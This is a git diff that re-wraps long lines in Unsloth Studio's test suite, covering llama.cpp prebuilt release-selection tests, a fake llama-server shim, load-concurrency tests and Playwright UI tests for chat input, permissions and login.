         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(system = "Linux", machine = "x86_64", compute_caps = ["86"])
         releases = [
@@ -2200,9 +2327,10 @@ class TestResolveInstallReleasePlans:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
-                releases
-            ),
+            lambda requested_tag,
+            published_repo,
+            published_release_tag = "",
+            **_kwargs: iter(releases),
         )
 
         _requested_tag, plans = _fork_manifest_release_plans(
@@ -2219,9 +2347,13 @@ class TestResolveInstallReleasePlans:
 
     def test_malformed_release_fallback_env_uses_default(self, monkeypatch):
         monkeypatch.setenv("UNSLOTH_LLAMA_MAX_PREBUILT_RELEASE_FALLBACKS", "not-an-int")
-        assert env_int("UNSLOTH_LLAMA_MAX_PREBUILT_RELEASE_FALLBACKS", 3, minimum = 1) == 3
+        assert (
+            env_int("UNSLOTH_LLAMA_MAX_PREBUILT_RELEASE_FALLBACKS", 3, minimum = 1) == 3
+        )
 
-    def test_import_with_malformed_release_fallback_env_does_not_crash(self, monkeypatch):
+    def test_import_with_malformed_release_fallback_env_does_not_crash(
+        self, monkeypatch
+    ):
         monkeypatch.setenv("UNSLOTH_LLAMA_MAX_PREBUILT_RELEASE_FALLBACKS", "bad-value")
         spec = importlib.util.spec_from_file_location(
             "studio_install_llama_prebuilt_env_reload",
@@ -2486,7 +2618,10 @@ class TestWindowsCudaAttemptCoversBlackwell:
         ],
     )
     def test_attempt_covers_blackwell(self, minor, covers):
-        assert _windows_cuda_attempt_covers_blackwell(self._win_cuda_attempt(minor)) is covers
+        assert (
+            _windows_cuda_attempt_covers_blackwell(self._win_cuda_attempt(minor))
+            is covers
+        )
 
     def test_attempt_covers_blackwell_ignores_non_cuda_kind(self):
         cpu = AssetChoice(
@@ -2523,7 +2658,9 @@ class TestWindowsCudaAttemptCoversBlackwell:
             ("older", "cuda12", 89, False),  # 12.4 toolkit app bundle stops at Ada
         ],
     )
-    def test_attempt_covers_blackwell_app_bundle(self, profile, runtime_line, max_sm, covers):
+    def test_attempt_covers_blackwell_app_bundle(
+        self, profile, runtime_line, max_sm, covers
+    ):
         # App-named bundles carry no toolkit minor; coverage is read from max_sm.
         attempt = self._app_attempt(profile, runtime_line, max_sm)
         assert _windows_cuda_attempt_covers_blackwell(attempt) is covers
@@ -2550,7 +2687,8 @@ class TestDirectUpstreamBlackwellPin:
         return {
             "tag_name": self.TAG,
             "assets": [
-                {"name": n, "browser_download_url": f"https://example.com/{n}"} for n in names
+                {"name": n, "browser_download_url": f"https://example.com/{n}"}
+                for n in names
             ],
         }
 
@@ -2570,7 +2708,9 @@ class TestDirectUpstreamBlackwellPin:
             driver_cuda_version = (13, 1),
             compute_caps = ["120"],
         )
-        plan = direct_upstream_release_plan(self._release(), host, UPSTREAM_REPO, "latest")
+        plan = direct_upstream_release_plan(
+            self._release(), host, UPSTREAM_REPO, "latest"
+        )
         order = [(a.tag, a.runtime_line or a.install_kind) for a in plan.attempts]
         # cuda-12.4 (no sm_120) is dropped entirely on Blackwell, and there is no pinned
         # b9360 fallback anymore, so the host falls through to the windows-cpu build.
@@ -2588,7 +2728,9 @@ class TestDirectUpstreamBlackwellPin:
             driver_cuda_version = (13, 3),
             compute_caps = ["120"],
         )
-        plan = direct_upstream_release_plan(self._release(), host, UPSTREAM_REPO, "latest")
+        plan = direct_upstream_release_plan(
+            self._release(), host, UPSTREAM_REPO, "latest"
+        )
         assert "b9360" not in [a.tag for a in plan.attempts]
         assert plan.attempts[0].tag == self.TAG
         assert plan.attempts[0].runtime_line == "cuda13"
@@ -2664,7 +2806,9 @@ class TestBlackwellCuda124Exclusion:
             max_sm = 80,
         )
         assert (
-            INSTALL_LLAMA_PREBUILT._drop_blackwell_incapable_windows_cuda(self._bw_host(), [bundle])
+            INSTALL_LLAMA_PREBUILT._drop_blackwell_incapable_windows_cuda(
+                self._bw_host(), [bundle]
+            )
             == []
         )
 
@@ -2677,7 +2821,9 @@ class TestBlackwellCuda124Exclusion:
         )
         attempts = [self._upstream_cuda("12.4")]
         assert (
-            INSTALL_LLAMA_PREBUILT._drop_blackwell_incapable_windows_cuda(host, attempts)
+            INSTALL_LLAMA_PREBUILT._drop_blackwell_incapable_windows_cuda(
+                host, attempts
+            )
             == attempts
         )
 
@@ -2728,7 +2874,9 @@ class TestLinuxPublishedAttemptsNvidiaCpuGate:
             lambda: (["cuda13"], {"cuda13": ["/usr/local/cuda/lib64"]}),
         )
         host = make_host(driver_cuda_version = (13, 1), compute_caps = ["100"])
-        attempts = INSTALL_LLAMA_PREBUILT._linux_published_attempts(host, self._cpu_only_bundle())
+        attempts = INSTALL_LLAMA_PREBUILT._linux_published_attempts(
+            host, self._cpu_only_bundle()
+        )
         assert attempts == []
 
     def test_cpu_host_gets_cpu_attempt(self):
@@ -2739,7 +2887,9 @@ class TestLinuxPublishedAttemptsNvidiaCpuGate:
             has_physical_nvidia = False,
             has_usable_nvidia = False,
         )
-        attempts = INSTALL_LLAMA_PREBUILT._linux_published_attempts(host, self._cpu_only_bundle())
+        attempts = INSTALL_LLAMA_PREBUILT._linux_published_attempts(
+            host, self._cpu_only_bundle()
+        )
         assert [a.install_kind for a in attempts] == ["linux-cpu"]
 
 
@@ -2770,7 +2920,9 @@ class TestPublishedWindowsCudaAttemptsDynamicMajor:
         # The dynamic seed lets a 14.x driver reach a published cuda14 build; the old
         # hardcoded cuda12/cuda13 seed would never order it.
         mock_windows_runtime(monkeypatch, ["cuda14", "cuda13", "cuda12"])
-        release = self._release([("14.0", "cuda14"), ("13.3", "cuda13"), ("12.4", "cuda12")])
+        release = self._release(
+            [("14.0", "cuda14"), ("13.3", "cuda13"), ("12.4", "cuda12")]
+        )
         host = make_host(
             system = "Windows",
             machine = "AMD64",
@@ -2861,7 +3013,9 @@ class TestResolveReleaseAssetChoicePin:
         # walks back to the upstream release; stub that fetch so the unit test stays
         # offline (a live GitHub call is blocked by the security scanner) and the
         # walk-back deterministically finds no usable CUDA build -> PrebuiltFallback.
-        monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "github_release_assets", lambda repo, tag: {})
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT, "github_release_assets", lambda repo, tag: {}
+        )
         release = self._release([("13.3", "cuda13"), ("12.4", "cuda12")])
         checksums = self._checksums(["12.4"])  # 13.3 gated off for a 13.1 driver
         host = make_host(
@@ -3244,14 +3398,18 @@ class TestResolveUpstreamAssetChoice:
     def test_linux_x86_64_cpu(self, monkeypatch):
         name = f"llama-{self.TAG}-bin-ubuntu-x64.tar.gz"
         self._mock_github_assets(monkeypatch, {name: f"https://x/{name}"})
-        host = make_host(has_usable_nvidia = False, nvidia_smi = None, has_physical_nvidia = False)
+        host = make_host(
+            has_usable_nvidia = False, nvidia_smi = None, has_physical_nvidia = False
+        )
         result = resolve_upstream_asset_choice(host, self.TAG)
         assert result.install_kind == "linux-cpu"
         assert result.name == name
 
     def test_linux_cpu_missing(self, monkeypatch):
         self._mock_github_assets(monkeypatch, {})
-        host = make_host(has_usable_nvidia = False, nvidia_smi = None, has_physical_nvidia = False)
+        host = make_host(
+            has_usable_nvidia = False, nvidia_smi = None, has_physical_nvidia = False
+        )
         with pytest.raises(PrebuiltFallback, match = "Linux CPU"):
             resolve_upstream_asset_choice(host, self.TAG)
 
@@ -3361,7 +3519,9 @@ class TestResolveUpstreamAssetChoice:
             has_physical_nvidia = False,
             has_usable_nvidia = False,
         )
-        with pytest.raises(PrebuiltFallback, match = "no prebuilt policy exists for Linux aarch64"):
+        with pytest.raises(
+            PrebuiltFallback, match = "no prebuilt policy exists for Linux aarch64"
+        ):
             resolve_upstream_asset_choice(host, self.TAG)
 
     def test_windows_usable_nvidia_delegates(self, monkeypatch):
@@ -3476,7 +3636,9 @@ class TestResolveSimpleMacosPin:
             for tag in self.TAGS:
                 yield _release(tag)
 
-        monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "iter_release_payloads_by_time", fake_iter)
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT, "iter_release_payloads_by_time", fake_iter
+        )
         return calls
 
     def test_pre26_host_pins_b9415_without_walkback(self, monkeypatch):
@@ -3522,9 +3684,13 @@ class TestLinuxArm64ForkFallsBackToSource:
             called["args"] = (host.machine, repo)
             return "b9457", ["plan"]
 
-        monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_fork_manifest_release_plans", _full)
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT, "_fork_manifest_release_plans", _full
+        )
         host = make_host(system = "Linux", machine = "aarch64")
-        tag, plans = resolve_simple_install_release_plans("latest", host, "unslothai/llama.cpp", "")
+        tag, plans = resolve_simple_install_release_plans(
+            "latest", host, "unslothai/llama.cpp", ""
+        )
         assert called.get("args") == ("aarch64", "unslothai/llama.cpp")
         assert plans == ["plan"]
 
@@ -3537,9 +3703,13 @@ class TestLinuxArm64ForkFallsBackToSource:
             called["args"] = (host.machine, repo)
             return "b9457", ["plan"]
 
-        monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_fork_manifest_release_plans", _full)
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT, "_fork_manifest_release_plans", _full
+        )
         host = make_host(system = "Linux", machine = "x86_64")
-        tag, plans = resolve_simple_install_release_plans("latest", host, "unslothai/llama.cpp", "")
+        tag, plans = resolve_simple_install_release_plans(
+            "latest", host, "unslothai/llama.cpp", ""
+        )
         assert called.get("args") == ("x86_64", "unslothai/llama.cpp")
         assert plans == ["plan"]
 
@@ -3562,7 +3732,9 @@ class TestLinuxArm64ForkFallsBackToSource:
             has_usable_nvidia = False,
         )
         with pytest.raises(PrebuiltFallback) as exc:
-            resolve_simple_install_release_plans("latest", host, "ggml-org/llama.cpp", "")
+            resolve_simple_install_release_plans(
+                "latest", host, "ggml-org/llama.cpp", ""
+            )
         assert "linux-x64 prebuilts" not in str(exc.value)
 
 
@@ -3645,7 +3817,9 @@ class TestCpuFallback:
             has_physical_nvidia = False,
             has_usable_nvidia = False,
         )
-        plan = direct_upstream_release_plan(release, cpu_host, "ggml-org/llama.cpp", "latest")
+        plan = direct_upstream_release_plan(
+            release, cpu_host, "ggml-org/llama.cpp", "latest"
+        )
         assert plan.attempts[0].install_kind == "linux-arm64"
         assert plan.attempts[0].name == f"llama-{tag}-bin-ubuntu-arm64.tar.gz"
 
@@ -3896,7 +4070,9 @@ class TestCudaDriverToolkitMismatchMessage:
         nvcc.chmod(0o755)
         return nvcc
 
-    def test_setup_sh_major_mismatch_uses_newest_compatible_detected_toolkit(self, tmp_path):
+    def test_setup_sh_major_mismatch_uses_newest_compatible_detected_toolkit(
+        self, tmp_path
+    ):
         blocked_nvcc = self._fake_nvcc(tmp_path, "13.3")
         older_nvcc = self._fake_nvcc(tmp_path, "12.6")
         compatible_nvcc = self._fake_nvcc(tmp_path, "12.8")
@@ -4080,7 +4256,9 @@ class TestCudaDriverToolkitMismatchMessage:
         assert "GPU_BACKEND=cuda" in output
         assert "ALLOWED=true" in output
 
-    def test_setup_sh_compatible_finder_rejects_newer_major_only_candidate(self, tmp_path):
+    def test_setup_sh_compatible_finder_rejects_newer_major_only_candidate(
+        self, tmp_path
+    ):
         # Only alternative is still newer-major than the driver: finder must fail, not pick it.
         blocked_nvcc = self._fake_nvcc(tmp_path, "13.3")
         other_newer_nvcc = self._fake_nvcc(tmp_path, "13.1")
@@ -4142,9 +4320,15 @@ class TestExactSourceAssetUrl:
         )
 
     def test_uses_manifest_repo_and_tag_when_present(self):
-        checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG)
+        checksums = self._checksums(
+            repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG
+        )
         url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
-            checksums, "unslothai/llama.cpp", self._artifact(repo = None), True, "ignored-tag"
+            checksums,
+            "unslothai/llama.cpp",
+            self._artifact(repo = None),
+            True,
+            "ignored-tag",
         )
         assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
 
@@ -4153,19 +4337,29 @@ class TestExactSourceAssetUrl:
         # Before the fix this returned None and hydration 404'd on the merge commit.
         checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = "")
         url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
-            checksums, "unslothai/llama.cpp", self._artifact(repo = None), True, self.INSTALL_TAG
+            checksums,
+            "unslothai/llama.cpp",
+            self._artifact(repo = None),
+            True,
+            self.INSTALL_TAG,
         )
         assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
 
     def test_falls_back_to_source_repo_when_manifest_repo_missing(self):
         checksums = self._checksums(repo = "", release_tag = self.INSTALL_TAG)
         url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
-            checksums, "unslothai/llama.cpp", self._artifact(repo = None), True, self.INSTALL_TAG
+            checksums,
+            "unslothai/llama.cpp",
+            self._artifact(repo = None),
+            True,
+            self.INSTALL_TAG,
         )
         assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
 
     def test_prefers_artifact_repo_over_manifest_repo(self):
-        checksums = self._checksums(repo = "unslothai/checksums-only", release_tag = self.INSTALL_TAG)
+        checksums = self._checksums(
+            repo = "unslothai/checksums-only", release_tag = self.INSTALL_TAG
+        )
         url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
             checksums,
             "unslothai/llama.cpp",
@@ -4176,7 +4370,9 @@ class TestExactSourceAssetUrl:
         assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
 
     def test_returns_none_for_non_exact_source(self):
-        checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG)
+        checksums = self._checksums(
+            repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG
+        )
         assert (
             INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
                 checksums, UPSTREAM_REPO, None, False, self.INSTALL_TAG
@@ -4185,7 +4381,9 @@ class TestExactSourceAssetUrl:
         )
 
     def test_returns_none_without_source_archive(self):
-        checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG)
+        checksums = self._checksums(
+            repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG
+        )
         assert (
             INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
                 checksums, "unslothai/llama.cpp", None, True, self.INSTALL_TAG
diff --git a/tests/studio/load_freeze/llama_server_shim.py b/tests/studio/load_freeze/llama_server_shim.py
index a6efce95b9..02374d43da 100644
--- a/tests/studio/load_freeze/llama_server_shim.py
+++ b/tests/studio/load_freeze/llama_server_shim.py
@@ -114,7 +114,9 @@ class _Handler(BaseHTTPRequestHandler):
                 self._send_raw(srv.config.detok_status, srv.config.detok_body)
                 return
             tids = body.get("tokens") or []
-            content = "".join(srv.config.detok_map.get(int(t), f"") for t in tids)
+            content = "".join(
+                srv.config.detok_map.get(int(t), f"") for t in tids
+            )
             self._send_json(srv.config.detok_status, {"content": content})
             return
         if path == "/completion":
@@ -215,7 +217,9 @@ class FakeLlamaServer:
 
     def start(self) -> "FakeLlamaServer":
         # port=0 lets the server pick a free port atomically (no find-then-bind race).
-        self._server = FakeLlamaServer._Server((self.host, self._requested_port), _Handler)
+        self._server = FakeLlamaServer._Server(
+            (self.host, self._requested_port), _Handler
+        )
         self._server.config = self.config
         bound_port = self._server.server_address[1]
         self._thread = threading.Thread(
diff --git a/tests/studio/load_freeze/test_load_orchestrator.py b/tests/studio/load_freeze/test_load_orchestrator.py
index 64503d0e05..ccd8be17b3 100644
--- a/tests/studio/load_freeze/test_load_orchestrator.py
+++ b/tests/studio/load_freeze/test_load_orchestrator.py
@@ -89,7 +89,9 @@ class _UvicornServerThread:
 
         self.host = host
         self.port = port
-        cfg = uvicorn.Config(app, host = host, port = port, log_level = "warning", access_log = False)
+        cfg = uvicorn.Config(
+            app, host = host, port = port, log_level = "warning", access_log = False
+        )
         self._server = uvicorn.Server(cfg)
         self._server.install_signal_handlers = lambda: None  # type: ignore[assignment]
         self._thread: threading.Thread | None = None
@@ -191,7 +193,9 @@ def test_buggy_route_blocks_event_loop():
         app = _build_app(backend, wrap_in_thread = False)
         port = _free_port()
         with _UvicornServerThread(app, port = port) as uv:
-            max_lat, probe_t, _ = _drive_concurrent_probe_and_health(f"http://127.0.0.1:{uv.port}")
+            max_lat, probe_t, _ = _drive_concurrent_probe_and_health(
+                f"http://127.0.0.1:{uv.port}"
+            )
     assert probe_t >= 0.5
     assert max_lat >= 0.4, f"expected >=0.4s stall, got {max_lat:.3f}s"
 
@@ -390,7 +394,9 @@ def test_50_concurrent_probes_complete_without_deadlock():
             with ThreadPoolExecutor(max_workers = 50) as pool:
                 futs = [
                     pool.submit(
-                        lambda: httpx.get(f"http://127.0.0.1:{uv.port}/probe", timeout = 30.0)
+                        lambda: httpx.get(
+                            f"http://127.0.0.1:{uv.port}/probe", timeout = 30.0
+                        )
                     )
                     for _ in range(50)
                 ]
diff --git a/tests/studio/playwright_chat_ime_i18n.py b/tests/studio/playwright_chat_ime_i18n.py
index 5bebf0a9e8..d12ad5c758 100644
--- a/tests/studio/playwright_chat_ime_i18n.py
+++ b/tests/studio/playwright_chat_ime_i18n.py
@@ -234,7 +234,8 @@ with sync_playwright() as p:
     dir_attr = composer.evaluate("(el) => el.getAttribute('dir')")
     if dir_attr != "auto":
         soft_fail(
-            f'composer is missing dir="auto" (got {dir_attr!r}); RTL ' "languages will render LTR."
+            f'composer is missing dir="auto" (got {dir_attr!r}); RTL '
+            "languages will render LTR."
         )
     else:
         info('composer dir="auto" present')
@@ -244,7 +245,9 @@ with sync_playwright() as p:
     _thread_src = (
         _repo_root / "studio/frontend/src/components/assistant-ui/thread.tsx"
     ).read_text()
-    _shared_src = (_repo_root / "studio/frontend/src/features/chat/shared-composer.tsx").read_text()
+    _shared_src = (
+        _repo_root / "studio/frontend/src/features/chat/shared-composer.tsx"
+    ).read_text()
     _edit_idx = _thread_src.find("aui-edit-composer-input")
     if _edit_idx == -1 or 'dir="auto"' not in _thread_src[_edit_idx : _edit_idx + 600]:
         soft_fail('edit composer source is missing dir="auto"')
@@ -253,7 +256,8 @@ with sync_playwright() as p:
     _compare_idx = _shared_src.find("Send to both models")
     if (
         _compare_idx == -1
-        or 'dir="auto"' not in _shared_src[max(_compare_idx - 400, 0) : _compare_idx + 400]
+        or 'dir="auto"'
+        not in _shared_src[max(_compare_idx - 400, 0) : _compare_idx + 400]
     ):
         soft_fail('compare composer source is missing dir="auto"')
     else:
@@ -299,7 +303,9 @@ with sync_playwright() as p:
             info(f"{label}: stopped generation started by submit probe")
         except Exception:
             if allowed_cancel_500:
-                expected_probe_cancel_500s[0] = max(0, expected_probe_cancel_500s[0] - 1)
+                expected_probe_cancel_500s[0] = max(
+                    0, expected_probe_cancel_500s[0] - 1
+                )
         try:
             expect(send_btn).to_be_visible(timeout = 15_000)
         except Exception:
@@ -480,7 +486,9 @@ with sync_playwright() as p:
     # 6c. Watchdog-race repro: after the watchdog clears composingRef, a later
     #     IME keydown (keyCode 229) must not slip preedit text through submit.
     #     The onKeyDown gate re-pins composingRef so handleSubmit refuses.
-    step("BUG REPRO: keydown re-pin after watchdog cleared composing (issue #5546 follow-up)")
+    step(
+        "BUG REPRO: keydown re-pin after watchdog cleared composing (issue #5546 follow-up)"
+    )
     clear()
     composer.click()
     composer.evaluate(
@@ -525,7 +533,9 @@ with sync_playwright() as p:
             "Form submitted after an IME keydown -- preedit text leaked "
             "through the watchdog gap (#5546 follow-up regression)."
         )
-    info(f"Form submit refused after IME keydown; textarea retained {submit_probe.get('after')!r}")
+    info(
+        f"Form submit refused after IME keydown; textarea retained {submit_probe.get('after')!r}"
+    )
     shoot("06c-keydown-repin")
     info("keydown re-pin gate PASS")
     clear()
@@ -707,7 +717,9 @@ with sync_playwright() as p:
         info("non-Enter key after Enter guard still recovers immediately")
     except Exception:
         shoot("06f-mac-ime-enter-guard-recovery-FAIL")
-        fail("After guarding Enter, a later non-IME key did not clear composingRef immediately.")
+        fail(
+            "After guarding Enter, a later non-IME key did not clear composingRef immediately."
+        )
     shoot("06f-mac-ime-enter-guard")
     info("Mac IME switch Enter guard PASS")
     clear()
@@ -766,7 +778,8 @@ with sync_playwright() as p:
             continue
         if (
             probe_cancel_500_allowance > 0
-            and "Failed to load resource: the server responded with a status of 500" in error
+            and "Failed to load resource: the server responded with a status of 500"
+            in error
             and "Internal Server Error" in error
         ):
             probe_cancel_500_allowance -= 1
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index b00b45f97a..a3210c7d13 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -105,7 +105,10 @@ def expected_default_model():
     for node in tree.body:
         if not isinstance(node, ast.Assign):
             continue
-        if not any(isinstance(t, ast.Name) and t.id == "DEFAULT_MODELS_GGUF" for t in node.targets):
+        if not any(
+            isinstance(t, ast.Name) and t.id == "DEFAULT_MODELS_GGUF"
+            for t in node.targets
+        ):
             continue
         try:
             models = ast.literal_eval(node.value)
@@ -127,7 +130,9 @@ def soft_fail(m):
 def exercise_permission_mode_controls(page, shoot):
     """Exercise labels, migration, persistence, confirmation, and focus."""
     step("permission levels: labels, persistence, confirmation, and focus")
-    pill = page.locator('button[aria-label="Permission level for tool calls"]:visible').first
+    pill = page.locator(
+        'button[aria-label="Permission level for tool calls"]:visible'
+    ).first
     expect(pill).to_be_visible()
 
     def expect_mode(label):
@@ -155,10 +160,14 @@ def exercise_permission_mode_controls(page, shoot):
         "Run automatically",
         "Full access",
     ):
-        expect(menu.get_by_role("menuitem").filter(has_text = label).first).to_be_visible()
+        expect(
+            menu.get_by_role("menuitem").filter(has_text = label).first
+        ).to_be_visible()
     if menu.get_by_text("Off", exact = True).count() != 0:
         fail("legacy Off label is still visible")
-    if menu.locator('[role="menuitem"] button, [role="menuitem"] [role="button"]').count():
+    if menu.locator(
+        '[role="menuitem"] button, [role="menuitem"] [role="button"]'
+    ).count():
         fail("permission menu contains nested interactive controls")
     page.keyboard.press("Escape")
     expect(pill).to_be_focused()
@@ -203,7 +212,9 @@ def exercise_permission_mode_controls(page, shoot):
 
     choose("Run automatically")
     expect_mode("Run automatically")
-    expect(page.locator('button[data-pill-label="Search"]:visible').first).to_be_visible()
+    expect(
+        page.locator('button[data-pill-label="Search"]:visible').first
+    ).to_be_visible()
     expect(page.locator('button[data-pill-label="Code"]:visible').first).to_be_visible()
     stored = page.evaluate("() => localStorage.getItem('unsloth_chat_permission_mode')")
     if stored != "off":
@@ -363,7 +374,9 @@ with sync_playwright() as p:
     form_err: Exception | None = None
     for _form_attempt in range(3):
         try:
-            page.goto(f"{BASE}/change-password", wait_until = "domcontentloaded", timeout = 60_000)
+            page.goto(
+                f"{BASE}/change-password", wait_until = "domcontentloaded", timeout = 60_000
+            )
             try:
                 page.wait_for_load_state("networkidle", timeout = 30_000)
             except Exception:
@@ -411,7 +424,9 @@ with sync_playwright() as p:
                     flush = True,
                 )
             if page_errors:
-                print(f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True)
+                print(
+                    f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True
+                )
             try:
                 shoot(f"01-change-password-attempt-{_form_attempt + 1}-fail")
             except Exception:
@@ -476,7 +491,9 @@ with sync_playwright() as p:
                     flush = True,
                 )
             if page_errors:
-                print(f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True)
+                print(
+                    f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True
+                )
             try:
                 shoot(f"03-composer-wait-attempt-{_attempt + 1}-fail")
             except Exception:
@@ -586,7 +603,9 @@ with sync_playwright() as p:
     try:
         sel_text = (selector_btn.text_content(timeout = 2_000) or "").strip()
     except Exception as _sel_err:
-        info(f"WARN: model-selector probe skipped: {type(_sel_err).__name__}: {_sel_err}")
+        info(
+            f"WARN: model-selector probe skipped: {type(_sel_err).__name__}: {_sel_err}"
+        )
     if sel_text:
         info(f"model selector button text: {sel_text!r}")
         shoot("03b-default-model-button")
@@ -617,7 +636,9 @@ with sync_playwright() as p:
     if load_resp.get("error"):
         fail(f"/api/inference/load wedged: {load_resp['error']!r}")
     if load_resp["status"] != 200:
-        fail(f"/api/inference/load returned {load_resp['status']}: {load_resp.get('body')!r}")
+        fail(
+            f"/api/inference/load returned {load_resp['status']}: {load_resp.get('body')!r}"
+        )
     info(f"loaded model: {(load_resp['body'] or {}).get('display_name')}")
 
     # Unsloth caches model state in zustand; reload so the composer picks
@@ -964,7 +985,9 @@ with sync_playwright() as p:
                     acct.click(force = True)
                 except Exception as exc:
                     if attempt == 1:
-                        soft_fail(f"theme cycle {cycle + 1}: account-menu click failed ({exc!r})")
+                        soft_fail(
+                            f"theme cycle {cycle + 1}: account-menu click failed ({exc!r})"
+                        )
                     continue
                 try:
                     page.wait_for_selector(
@@ -1008,7 +1031,9 @@ with sync_playwright() as p:
                     page.wait_for_timeout(200)
             if click_err is not None:
                 page.keyboard.press("Escape")
-                soft_fail(f"theme cycle {cycle + 1}: theme menuitem click failed ({click_err!r})")
+                soft_fail(
+                    f"theme cycle {cycle + 1}: theme menuitem click failed ({click_err!r})"
+                )
                 break
             # Settle. The ".dark" class on  is the ground truth
             # (theme-store toggles only that); don't gate on ".light".
@@ -1057,7 +1082,9 @@ with sync_playwright() as p:
         # the sidebar collapses to icons, so fall back to more permissive
         # locators.
         candidates = [
-            page.get_by_role("button", name = re.compile(rf"^\s*{label}\s*$", re.I)).first,
+            page.get_by_role(
+                "button", name = re.compile(rf"^\s*{label}\s*$", re.I)
+            ).first,
             page.locator(f'button:has-text("{label}")').first,
             page.locator(f'a:has-text("{label}")').first,
             page.locator(f'[data-sidebar="menu-button"]:has-text("{label}")').first,
@@ -1091,15 +1118,21 @@ with sync_playwright() as p:
     click_nav("New Chat", r"/chat")
     shoot("11-new-chat")
     # Compare moved into the composer "Tools and attachments" menu.
-    plus_btn = page.get_by_role("button", name = re.compile(r"Tools and attachments", re.I)).first
+    plus_btn = page.get_by_role(
+        "button", name = re.compile(r"Tools and attachments", re.I)
+    ).first
     if plus_btn.count() > 0:
         plus_btn.click(force = True)
         page.wait_for_timeout(400)
-        compare_item = page.get_by_role("menuitem", name = re.compile(r"Compare chat", re.I)).first
+        compare_item = page.get_by_role(
+            "menuitem", name = re.compile(r"Compare chat", re.I)
+        ).first
         if compare_item.count() == 0:
             # Compare chat moved into the "More" submenu; hover (then
             # click as fallback) to open it.
-            more_trigger = page.get_by_role("menuitem", name = re.compile(r"^More$", re.I)).first
+            more_trigger = page.get_by_role(
+                "menuitem", name = re.compile(r"^More$", re.I)
+            ).first
             if more_trigger.count() > 0:
                 more_trigger.hover()
                 page.wait_for_timeout(400)
@@ -1144,7 +1177,9 @@ with sync_playwright() as p:
         step("Developer (API) tab via account menu")
         acct.click()
         page.wait_for_timeout(400)
-        dev = page.get_by_role("menuitem", name = re.compile(r"developer|api", re.I)).first
+        dev = page.get_by_role(
+            "menuitem", name = re.compile(r"developer|api", re.I)
+        ).first
         if dev.count() > 0:
             dev.click()
             page.wait_for_timeout(800)
@@ -1161,7 +1196,9 @@ with sync_playwright() as p:
                 re.compile(r"api keys|developer", re.I),
             ).first
             if keys_section.count() > 0:
-                info(f"OK API tab text: {(keys_section.text_content() or '').strip()[:80]!r}")
+                info(
+                    f"OK API tab text: {(keys_section.text_content() or '').strip()[:80]!r}"
+                )
             # Close dialog with Escape.
             page.keyboard.press("Escape")
             page.wait_for_timeout(300)
@@ -1176,7 +1213,9 @@ with sync_playwright() as p:
     page.goto(f"{BASE}/data-recipes")
     page.wait_for_timeout(1500)
     # Count clickable headings/cards under main, then screenshot.
-    headings = page.locator("main h2, main h3, [data-recipe], a[href*='/data-recipes/']")
+    headings = page.locator(
+        "main h2, main h3, [data-recipe], a[href*='/data-recipes/']"
+    )
     n_cards = headings.count()
     info(f"Recipes route headings/cards: {n_cards}")
     shoot("15b-recipes-cards")
@@ -1250,7 +1289,9 @@ with sync_playwright() as p:
             info(f"recent-thread click {i} failed: {_click_err!s}")
             continue
     if not clicked_recent:
-        soft_fail(f"no Recents entry was clickable within 30s deadline (n_threads={n_threads})")
+        soft_fail(
+            f"no Recents entry was clickable within 30s deadline (n_threads={n_threads})"
+        )
     # Back to chat.
     page.goto(f"{BASE}/chat")
     composer = page.locator('textarea[aria-label="Message input"]')
@@ -1402,7 +1443,10 @@ with sync_playwright() as p:
     try:
         refresh_status = int(refresh_proc.stdout.strip())
     except ValueError:
-        fail(f"curl refresh-token check returned invalid status: " f"{refresh_proc.stdout!r}")
+        fail(
+            f"curl refresh-token check returned invalid status: "
+            f"{refresh_proc.stdout!r}"
+        )
     if refresh_status == 200:
         fail(f"/api/auth/refresh should fail after CLI rotation; got 200")
     info(
@@ -1463,11 +1507,15 @@ with sync_playwright() as p:
     for _relogin_attempt in range(3):
         try:
             try:
-                page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
+                page.goto(
+                    f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000
+                )
             except Exception as exc:
                 if not any(t in str(exc) for t in _tolerated_nav):
                     raise
-                info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
+                info(
+                    f"goto /login interrupted ({exc!r}); password-field wait will confirm /login"
+                )
             pw_field = page.locator("#password")
             pw_field.wait_for(state = "visible", timeout = 60_000)
             page.keyboard.press("Control+,")
@@ -1477,7 +1525,9 @@ with sync_playwright() as p:
                     "persisted monitor requested /api/system while /login was active"
                 )
             if "/login" not in page.url:
